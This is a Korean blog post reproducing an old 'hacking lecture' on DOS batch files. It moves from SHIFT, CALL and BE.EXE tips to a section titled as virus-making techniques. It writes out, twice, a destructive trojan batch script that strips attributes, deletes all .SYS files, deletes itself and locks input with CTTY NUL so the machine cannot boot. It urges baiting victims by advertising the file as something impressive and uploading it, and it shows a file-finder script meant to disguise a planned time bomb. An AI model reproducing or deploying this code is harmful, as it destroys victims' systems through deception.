REPEAT 레이블로 분기하기 위해 GOTO를 실행한다. 이때 SHIFT 명령에 의해
%0은 문자 B를 포함하게 되고, 배치화일은 이것을 출력한다. 배치화일은 이
러한 과정을 반복하여 문자 C를 출력한다. 명령행에 더 이상 남아있는 값이
없기 때문에 SHIFT는 %0에 NULL값을 할당한다. 이것은 IF 명령어에 의해
레이블 DONE으로 분기시킨다.
팁 : 배치화일내에서 다른 배치화일 부르기!!
어떤 프로그램이든 프로그램상의 오류를 가지고 있습니다.
이것을 우리는 버그라 부르죠.
이런 오류는 대개 논리적 착오에 의한 프로그램 제작상의 문제나 실수 등에
의해 기인합니다.
이런 버그를 줄이는것은 무척 중요한 일이기도 합니다.
대부분 배치 프로그래밍에서 많이 실수하는 부분이 있습니다.
화일내에서 다른 배치화일등을 불러서 실행하라는 명령문을 탑재했다칩시다
그냥 작성할경우 위에서 말한 버그가 발생할수 있습니다.
그래서 반드시 CALL 이란 명령어를 써서 하는것이 좋습니다.
예를들면,
외부에 AAA.BAT / BBB.BAT 이렇게 있고 현재 CCC.BAT 를 작성하고 있다고
칩시다.
CCC.BAT
@ECHO OFF
.
.
CALL AAA.BAT
CALL BBB.BAT
.
.
이제 사용법을 아시겠죠?
이제껏 배운것은 이것을 위한 전주곡이라고나 할까........
도스에서의 배치프로그래밍 에서는 현 도스에 널려있을지 모를 유명한 프로그램을
이용하는 방법을 사용할수 있습니다.
컴퓨터 하는 사람치고 노턴 없는사람 없겠죠?
그렇다면 당연히 be.exe 는 있을겁니다.
이것은 배치화일을 확장 시켜줄수 있습니다.
물론 그전에 이미 완벽하게 작성한 프로그램을 사용할수 있으나 때론 이용할 구석이 있는
것들이 있습니다.
예를들어, BE.EXE 로 효과음을 발생할수 있습니다.
이것을 이용하여 일정한 노래정도는 스피커로 흘릴수도 있습니다.
BEEP 사용법
BE BEEP /Dn /Fn /Rn /E
/Dn : 소리의 주기를 지정한다. 1/18초 1단위
/Fn : 소리의 주파수를 지정한다. n은 초당 주기
/Rn : 소리를 n 번 반복한다.
/Wn : 소리 중간에 n/18 초를 기다린다
/E : 주석에서 인용부호로 둘러싸인 부분을 출력한다.
이것말구도 여러가지로 확장하여 화면 긋기,키입력 등등 여러가지로 쓰일수 있으나
대부분 필요한 도구는 현 강의자료와 함께 제공해 드리니 be로 응용이 가능하구나
하는 정도만 알아두세요.
** 바이러스 제작 테크닉!! **
이제부터 게재하는 내용은 각종 테크닉입니다.
초보적인 것부터 고난도까지 차례대로 계속 이야기 할것이니 반드시
알아두기 바랍니다.
* 단 한줄로 컴퓨터 화면 멈춤/ 키 입력 불능 방법
사용 : CTTY NUL
예) XXX.BAT <= 임의의 화일명
@ECHO OFF
CTTY NUL
^Z
설명 : 이경우 컴퓨터는 CTTY CON 을 치지않는한 다운된것처럼 보일것입니다.
CTTY 명령은 주로 PC의 통신포트중의 하나에 달려있는 장치나 터미널을 가진
사용자들을 위해 만들어진 것입니다.
CTTY를 원래의 목적으로 쓰지않고 배치화일의 도중에 화면출력을 없앨수있습니다.
이것은 앞으로 응용할것이나 이거 한줄로 짠 프로그램을 컴파일시켜 써보는것도
묘미일겁니다.
자~ 아주 무식하고 단순한 트로이목마를 만들어볼까요?
지금 만드는것은 아주 초보적인 수준으로 발견즉시 탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋습니다.
아이큐 한 30정도는 될겁니다.
목적 : 침투즉시 시스템 영역 파괴로 부팅불능
@ECHO OFF
ATTRIB -H -R -S > NUL <= 이줄은 시스템화일의 숨김,읽기전용,시스템등의
속성을 해제시켜 지우거나 변형이 가능케합니다.
"> NUL" 은 변형결과가 화면에 안뜨게 하는것입니다.
DEL *.SYS < NUL <= 모든 시스템 화일을 지워버립니다.
다음회에 전체화일을 묻는말없이 지울수있는법을 알려드리죠.
DEL XXX.YYY < NUL <= 본인 스스로 해당 화일명 삭제명령, 역시 보이지않게!!
CTTY NUL <= 이것까지 추가하면 시스템도 딱! 멈추겠죠? 그래서 부팅해보면 안뜬답니다.
하하하~~~~~~~~~
^Z
어떻습니까?
여기에 화면에 어떤 메시지를 띄울수도 있겠죠?
ECHO " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "
이런식으로요~~ 메롱~~~이나............
아주 간단하면서 효과는 확실하죠?
현재 이건 극히 초보적인 것이나 약간만 응용하여 다른 화일을 지우거나 화일명을
바꾸어놓는 조작을 할수있습니다.
다만 상대 사용자가 바로 발견할수 있다는것이 단점이겠죠?
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를
던진다면 확실히 물립니다.
소잃고 외양간 고쳐모해~~
하지만 너무 쉽게 드러나 좀 그렇죠?
그래서~~~ 아래를 보십시요.
아래는 간단한 화일 찾기 프로그램입니다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들것이니
일단은 자세히 보아주시고 원리를 보아주시기 바랍니다.
이것은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할수
있는 것입니다.
@echo off
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd\
dir %1 /s/p/w/l/o:n
goto end
:copyright
echo.
echo FileFinder (c) KIM XXX
:help
echo.
echo Usage : filefind [filename]
echo.
:end
다음회에 막강한 타이머가 부착된 시한폭탄 바이러스를 보자구요~ 하하~~
참, 더불어서 각종 배치유틸(*.COM)도 제공하겠습니다.
지금 올린 예제는 극히 기본적인 것입니다. 응용가능성이 높다는걸 아셨겠죠?
계속되는 응용과 연습이 중요합니다. 단, 조심하세요! 시스템 날리고 울지말고~~~~~~
BAT2EXE.COM
해킹 강좌 5회
5번째 시간입니다.
이번 시간에는 배치 테크닉 마무리와 배치로 만드는 바이러스 실제적용이
되겠습니다.
배치화일로 바이러스 제작하기
아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시 탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.
목적 : 침투즉시 시스템 영역 파괴로 부팅불능
@ECHO OFF
rem writted by KIM TAE-BONG
ATTRIB C:\*.* -H -R -S > NUL <= 이줄은 시스템화일의 숨김,읽기전용,시스템등의
속성을 해제시켜 지우거나 변형이 가능케한다.
"> NUL" 은 변형결과가 화면에 안뜨게 하는것이다.
DEL *.SYS < NUL <= 모든 시스템 화일을 지워버린다.
DEL XXX.YYY < NUL <= 본인 스스로 해당 화일명 삭제명령, 역시 보이지않게!!
CTTY NUL <= 이것까지 추가하면 시스템이 정지한다.
그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z
여기에 화면에 어떤 메시지를 띄울수도 있을것이다.
ECHO " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "
아주 간단하면서 효과는 확실하다.
현재 이건 극히 초보적인 것이나 약간만 응용하여 다른 화일을 지우거나 화일명을
바꾸어놓는 조작을 할수있다.
다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를
던진다면 확실히 물릴것이다.
아래는 간단한 화일 찾기 프로그램이다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들것이니
일단은 자세히 보고 원리를 이해하기 바란다.
이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할수
있는 것이다.
댓글 없음:
댓글 쓰기
국정원의 댓글 공작을 지탄합니다.